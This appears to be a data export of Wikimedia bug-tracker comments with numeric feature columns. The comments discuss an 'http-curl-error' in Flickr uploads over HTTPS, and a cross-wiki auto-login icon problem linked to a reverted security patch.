Apparently ui.showError doesn't identify this code and outputs the default message it should.",,,1360233054,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,11.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,13.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,11.0,5.0,1.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.113636363636363,0.7386363636363636,"Able to reproduce today. Some debugging info I could gather from mw.IframeTransport :


The response of the Api request made by the Iframe is

error: Object-?
0: ""Operation timed out after 25007 milliseconds with 431627 out of 1937071 bytes received""
code: ""http-curl-error""
info: ""Error fetching file from remote source""


Apparently ui.showError doesn't identify this code and outputs the default message it should."
195038,"""http-curl-error"" when uploading from Flickr from https","Removing HE from summary: it never happened to me when using FF lately, but it happened just now with a ""clean"" Chromium.",,,1360171381,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,7.0,0.0,7.0,0.0,15.0,0.0,4.0,4.0,4.0,7.0,0.0,0.0,0.0,3.7037037037037037,0.8888888888888888,"Removing HE from summary: it never happened to me when using FF lately, but it happened just now with a ""clean"" Chromium."
195030,"""http-curl-error"" when uploading from Flickr from https","I'm using Firefox with HE on fedora 17. Sometimes a file out of a dozen fails and I've encountered a couple other bugs, but no http-curl-error anywhere.",,,1357140746,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,11.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.5,0.8611111111111112,"I'm using Firefox with HE on fedora 17. Sometimes a file out of a dozen fails and I've encountered a couple other bugs, but no http-curl-error anywhere."
195021,"""http-curl-error"" when uploading from Flickr from https","In the meantime, we should at least detect for the 'http-curl-error' and return a better error message. Something like ""Error: Could not retrieve file from remote host. You may need to turn off the HTTPS Everywhere browser extension.""",,,1355263419,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,3.8627450980392157,0.8431372549019608,"In the meantime, we should at least detect for the 'http-curl-error' and return a better error message. Something like ""Error: Could not retrieve file from remote host. You may need to turn off the HTTPS Everywhere browser extension."""
195014,"""http-curl-error"" when uploading from Flickr from https","How hard would it be to do 1?
Doesn't the proxy accept connect? curl should be able to make a tls request on its own.",,,1355262111,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,7.0,10.0,3.0,7.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.9,"How hard would it be to do 1?
Doesn't the proxy accept connect? curl should be able to make a tls request on its own."
195006,"""http-curl-error"" when uploading from Flickr from https","Looks like this error is caused by the 'HTTPS everywhere' Firefox add-on. There are two ways this could be fixed:
1. Add HTTPS support to the WMF proxy server that pulls the images from Flickr
2. Change UploadWizard to use Flickr's secure API and add a hack to UploadWizard that rewrites all the secure image URLs returned from the API into non-secure URLs.",,,1355261724,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,1.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,18.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,21.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.857142857142857,0.7012987012987013,"Looks like this error is caused by the 'HTTPS everywhere' Firefox add-on. There are two ways this could be fixed:
1. Add HTTPS support to the WMF proxy server that pulls the images from Flickr
2. Change UploadWizard to use Flickr's secure API and add a hack to UploadWizard that rewrites all the secure image URLs returned from the API into non-secure URLs."
194999,"""http-curl-error"" when uploading from Flickr from https",I cannot reproduce this bug using the steps from comment #1. Are you still seeing it using those exact steps?,,,1355175743,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.75,0.9166666666666666,I cannot reproduce this bug using the steps from comment #1. Are you still seeing it using those exact steps?
194993,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:

Still happening on test.wikipedia.org.  Marking as blocking deployment (to Commons) since https://gerrit.wikimedia.org/r/#/c/37353/1/wmf-config/InitialiseSettings.php has been merged and thus this feature would go live to Commons on Wednesday.",,,1355029697,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.205128205128205,0.8205128205128205,"**sumanah** wrote:

Still happening on test.wikipedia.org.  Marking as blocking deployment (to Commons) since URL has been merged and thus this feature would go live to Commons on Wednesday."
194987,"""http-curl-error"" when uploading from Flickr from https","On my local wiki I still get the same error on the master branch. My config file has 
	'flickrApiUrl' => 'http://api.flickr.com/services/rest/?',

Not sure if this should open this bug, please test.",,,1354130251,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,5.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.325,0.875,"On my local wiki I still get the same error on the master branch. My config file has 
	'flickrApiUrl' => 'URL

Not sure if this should open this bug, please test."
194980,"""http-curl-error"" when uploading from Flickr from https","Fixed, deployed, and verified on test.wiki.",,,1354062240,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.8888888888888888,"Fixed, deployed, and verified on test.wiki."
194973,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:

Sorry for misunderstanding.  Removing deployment blocker bug.",,,1354060038,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,0.7777777777777778,"**sumanah** wrote:

Sorry for misunderstanding.  Removing deployment blocker bug."
194966,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #6)
> Ryan, can you re-deploy your fix?  This is a blocker for tomorrow's 1.21wmf5
> deployment to Commons.  Thanks!

Not really, the feature isn't enabled on Commons

'wgAllowCopyUploads' => array(
	'default' => false,
	'testwiki' => true,
	'test2wiki' => true,
//	'commonswiki' => true, // disabled until flickr interface is ready --kaldari
),",,,1354058784,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,1.0,3.0,11.0,1.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.1052631578947367,0.5394736842105263,"(In reply to comment #6)
QUOTE
QUOTE

Not really, the feature isn't enabled on Commons

'wgAllowCopyUploads' => array(
	'default' => false,
	'testwiki' => true,
	'test2wiki' => true,
//	'commonswiki' => true, // disabled until flickr interface is ready --kaldari
),"
194961,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:

Ryan, can you re-deploy your fix?  This is a blocker for tomorrow's 1.21wmf5 deployment to Commons.  Thanks!",,,1354056809,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,12.0,0.0,3.0,0.0,6.0,9.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.264705882352941,0.8823529411764706,"**sumanah** wrote:

Ryan, can you re-deploy your fix?  This is a blocker for tomorrow's 1.21wmf5 deployment to Commons.  Thanks!"
194957,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:

Error is still reproducible on test2, which is predictable because the fix needs to be backported to the branch that's deployed right now (1.21wmf5).",,,1354056657,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,3.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,3.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.918918918918919,0.8378378378378378,"**sumanah** wrote:

Error is still reproducible on test2, which is predictable because the fix needs to be backported to the branch that's deployed right now (1.21wmf5)."
194951,"""http-curl-error"" when uploading from Flickr from https","Change https://gerrit.wikimedia.org/r/#/c/35339/ from comment #2 has been reverted because it got merged but has not been deployed.  The revert is https://gerrit.wikimedia.org/r/#/c/35359/

Reopening bug.",,,1354006639,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,18.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8214285714285716,0.8571428571428571,"Change URL from comment #2 has been reverted because it got merged but has not been deployed.  The revert is URL

Reopening bug."
194946,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:

Can this fix be backported so that I can test the Flickr upload on test & test2, and see whether the proxy server issue is still reproducible?",,,1353984063,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,8.0,5.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6486486486486487,0.8648648648648649,"**sumanah** wrote:

Can this fix be backported so that I can test the Flickr upload on test & test2, and see whether the proxy server issue is still reproducible?"
194940,"""http-curl-error"" when uploading from Flickr from https","Fixed in https://gerrit.wikimedia.org/r/#/c/35339/.

Issue with proxy server should be filed as a separate bug.",,,1353981491,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Fixed in URL

Issue with proxy server should be filed as a separate bug."
194936,"""http-curl-error"" when uploading from Flickr from https","Looks like switching the API URL to secure causes Flickr to return secure URLs for the images, which then breaks our proxy downloading. (The Wikimedia proxy server currently can't handle HTTPS requests.)",,,1353979713,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.526315789473684,0.868421052631579,"Looks like switching the API URL to secure causes Flickr to return secure URLs for the images, which then breaks our proxy downloading. (The Wikimedia proxy server currently can't handle HTTPS requests.)"
43610,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Screenshot of the post-login screen on the English Wikipedia showing missing auto-login icons

When I go to <https://en.wikipedia.org/w/index.php?title=Special:UserLogin> and successfully enter my username and password, the post-login screen isn't always loading all of the icons as it used to. This appears to have started today (October 31, 2012). I asked in #wikimedia-tech and another user (Danny B.) reported similar strangeness today.

It _feels_ like the third-party cookie behavior has changed a bit and now browsers consider .wiktionary.org, etc. to be third-party and blocked when they were previously allowed. But I'm not sure.

After submitting my username and password, I'm successfully logged in to en.wikipedia.org, but not to the other sites. Attaching a screenshot as well.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Special:UserLogin

**Attached**: {F9965}",High,80.0,1351729320,1368769918.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-tpznae55l4ucxj4o6res,task_description,resolved,True,c2,1,True,False,True,-43,True,0.5,0.0,0.0,0.5,1.5,6.0,0.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,3.0,0.5,6.5,7.0,0.0,1.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.5,4.0,1.5,1.0,1.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,2.0,2.0,0.0,0.5,0.0,0.0,0.0,14.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,1.5,11.5,1.0,4.0,5.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,4.5,7.0,5.0,0.0,0.0,0.0,4.5,0.0,1.0,1.0,0.0,2.5,0.0,0.0,1.5,3.802083333333333,0.6614583333333333,"Screenshot of the post-login screen on the English Wikipedia showing missing auto-login icons

When I go to <URL and successfully enter my username and password, the post-login screen isn't always loading all of the icons as it used to. This appears to have started today (October 31, 2012). I asked in #wikimedia-tech and another user (Danny B.) reported similar strangeness today.

It _feels_ like the third-party cookie behavior has changed a bit and now browsers consider .wiktionary.org, etc. to be third-party and blocked when they were previously allowed. But I'm not sure.

After submitting my username and password, I'm successfully logged in to en.wikipedia.org, but not to the other sites. Attaching a screenshot as well.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL

**Attached**: {F9965}"
195114,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Marking this bug resolved/fixed. Denny certainly knows how to file a separate bug, as appropriate and necessary.",,,1368769918,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,9.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.363636363636363,0.9090909090909091,"Marking this bug resolved/fixed. Denny certainly knows how to file a separate bug, as appropriate and necessary."
195111,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"(In reply to comment #7)
> Denny, is the issue you're having that you're being logged out of Wikidata?
> Or that SUL isn't logging you into Wikidata in the first place?

Denny: ping?",,,1368719306,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.6470588235294117,0.8823529411764706,"(In reply to comment #7)
QUOTE
QUOTE

Denny: ping?"
195108,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"(In reply to comment #7)
> Denny, is the issue you're having that you're being logged out of Wikidata?
> Or that SUL isn't logging you into Wikidata in the first place?

Denny: ping?",,,1366908527,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.6470588235294117,0.8823529411764706,"(In reply to comment #7)
QUOTE
QUOTE

Denny: ping?"
195103,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"The original issue reported by MZMcBride was a bug in a security patch, that was later reverted, so I know the original issue has been fixed.

